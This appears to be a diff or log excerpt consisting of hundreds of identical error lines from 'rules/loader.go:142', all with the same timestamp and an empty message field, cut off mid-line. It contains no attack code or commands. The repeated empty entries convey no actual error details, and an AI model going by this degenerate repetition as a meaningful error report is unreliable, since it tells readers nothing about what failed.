+time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= 